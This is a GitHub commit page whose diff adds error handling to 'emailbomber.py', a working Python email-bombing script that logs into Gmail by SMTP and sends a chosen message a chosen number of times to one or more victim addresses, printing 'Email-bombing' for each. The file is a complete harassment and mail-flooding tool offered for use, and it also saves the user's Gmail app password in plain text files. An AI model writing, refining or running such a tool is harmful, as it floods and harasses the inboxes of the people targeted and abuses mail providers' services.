Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Sign up
Appearance settings

Commit 47d8546

Browse files
Merge pull request #7 from kukrak/main
Error handling
2 parents 2724512 + 8cea503 commit 47d8546

File tree

1 file changed

+24
-11
lines changed

1 file changed

+24
-11
lines changed

‎emailbomber.py‎

Lines changed: 24 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
11
#Built-in library's.
22
import smtplib
3-
from os import path, mkdir
3+
from os import access, path, mkdir
44

55
print(f"{open('Welcome/welcome.txt', encoding='UTF-8').read()}\n\n") #Welcomes user.
66

@@ -14,8 +14,12 @@
1414
print("If you would like to spam more than one email, separate the emails by commas (example@gmail.com, example2@hotmail.com, example3@myspace.com)") #Tells user how to email-bomb more than one email.
1515
receiver = input("Specify the email(s) you would like to email-bomb -> ") #Enter the email(s) that you would like to email-bomb.
1616
message = input("Enter your email-bomber message -> ") #The message that the email user(s) will receive.
17-
count = int(input("Enter a number for the amount of emails to be sent -> ")) #The amount of emails to be sent to the receiver(s).
18-
17+
try:
18+
count = int(input("Enter a number for the amount of emails to be sent -> ")) #The amount of emails to be sent to the receiver(s).
19+
except ValueError:
20+
print("Please enter a number for the amount of emails to be sent.")
21+
input("Press enter to exit.")
22+
quit()
1923
#Server
2024
server = smtplib.SMTP("smtp.gmail.com",587) #Initializes SMTP server.
2125
server.starttls() #Start SMTP server.
@@ -28,19 +32,28 @@
2832
input("Enter to exit...")
2933
quit() #Quits program.
3034

31-
if not path.exists("User_Credentials"): #If user credentials does not exist, creates and saves credential files.
32-
#If there are no errors in credentials, save user information after SMTP verification.
33-
mkdir("User_Credentials") #Creats User_Credentials folder.
34-
open("User_Credentials/sender.txt", "xt").write(sender) #Creates and saves user's Gmail address to User_Credentials folder.
35-
open("User_Credentials/app_password.txt", "xt").write(app_password) #Creates and saves user's Gmail app password to User_Credentials folder.
36-
input("\nYour credentials have been saved, so you do not have to repeat this process.\nTo change your credentials, go to User_Credentials and change your file information.\nPress enter to continue...")
35+
try:
36+
if not path.exists("User_Credentials"): #If user credentials does not exist, creates and saves credential files.
37+
#If there are no errors in credentials, save user information after SMTP verification.
38+
mkdir("User_Credentials") #Creats User_Credentials folder.
39+
open("User_Credentials/sender.txt", "xt").write(sender) #Creates and saves user's Gmail address to User_Credentials folder.
40+
open("User_Credentials/app_password.txt", "xt").write(app_password) #Creates and saves user's Gmail app password to User_Credentials folder.
41+
input("\nYour credentials have been saved, so you do not have to repeat this process.\nTo change your credentials, go to User_Credentials and change your file information.\nPress enter to continue...")
42+
except OSError: #Operating system error.
43+
print("\nError:\nThere was an error saving your credentials.")
3744

3845
print("\nEmail-bomber has started...\n")
3946

4047
for i in range(count): #Amount of messages to be sent.
4148
for email_receiver in receiver.split(","): #Loops through emails to send emails to.
42-
server.sendmail(from_addr= sender, to_addrs=email_receiver, msg=message) #Sends email to receiver.
43-
print(f"Email-bombing {email_receiver}...")
49+
try:
50+
print(f"Email-bombing {email_receiver}...")
51+
server.sendmail(from_addr= sender, to_addrs=email_receiver, msg=message) #Sends email to receiver.
52+
print("Email sent successfully!")
53+
except smtplib.SMTPException as error:
54+
print(f"Error:\n{error}")
55+
continue
56+
4457

4558
input("\nEmail-bomber was successful...\nEnter to exit...") #Email-bomber finished.
4659
server.close() #Closes server.

0 commit comments

Comments
(0)

AltStyle によって変換されたページ (->オリジナル) /